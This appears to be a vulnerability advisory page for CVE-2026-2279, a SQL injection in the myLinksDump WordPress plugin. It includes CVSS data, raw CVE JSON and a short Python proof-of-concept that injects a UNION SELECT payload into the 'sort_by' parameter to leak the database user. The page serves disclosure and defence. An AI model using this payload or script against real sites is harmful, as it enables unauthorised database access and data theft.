Security Vulnerability Report
中文
CVE-2026-2279 CVSS 7.2 HIGH

CVE-2026-2279

Published: 2026-03-21 04:16:58
Last Modified: 2026-04-22 21:32:08

Description

The myLinksDump plugin for WordPress is vulnerable to SQL Injection via the 'sort_by' and 'sort_order' parameters in all versions up to, and including, 1.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

myLinksDump <= 1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Code for CVE-2026-2279 # Conceptual demonstration of the SQL Injection import requests def exploit_sqli(target_url, admin_cookie): # The vulnerable endpoint is typically within the plugin's admin page # Parameters 'sort_by' and 'sort_order' are vulnerable url = f"{target_url}/wp-admin/admin.php?page=mylinksdump_manage_links" # Malicious payload to extract database user # Example payload: ' UNION SELECT 1, 2, user(), 4-- - payload = "1 UNION SELECT 1, 2, user(), 4-- -" cookies = { "wordpress_logged_in_": admin_cookie } params = { "sort_by": payload, # Injecting into sort_by parameter "sort_order": "asc" } try: response = requests.get(url, params=params, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for database user leakage.") # print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage # target = "http://your-wordpress-site.com" # cookie = "your_admin_session_cookie" # exploit_sqli(target, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2279", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:57.990", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The myLinksDump plugin for WordPress is vulnerable to SQL Injection via the 'sort_by' and 'sort_order' parameters in all versions up to, and including, 1.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin myLinksDump para WordPress es vulnerable a inyección SQL a través de los parámetros 'sort_by' y 'sort_order' en todas las versiones hasta la 1.6, inclusive, debido a un escape insuficiente en el parámetro proporcionado por el usuario y la falta de preparación suficiente en la consulta SQL existente. Esto permite a atacantes autenticados, con acceso de nivel de administrador y superior, añadir consultas SQL adicionales a consultas ya existentes que pueden utilizarse para extraer información sensible de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mylinksdump/tags/1.6/myLinksDump.php#L414", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mylinksdump/tags/1.6/myLinksDump.php#L423", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mylinksdump/trunk/myLinksDump.php#L414", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mylinksdump/trunk/myLinksDump.php#L423", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/02b03c4a-1b2a-4fd0-887d-930229dc384f?source=cve", "source": "[email protected]"}]}}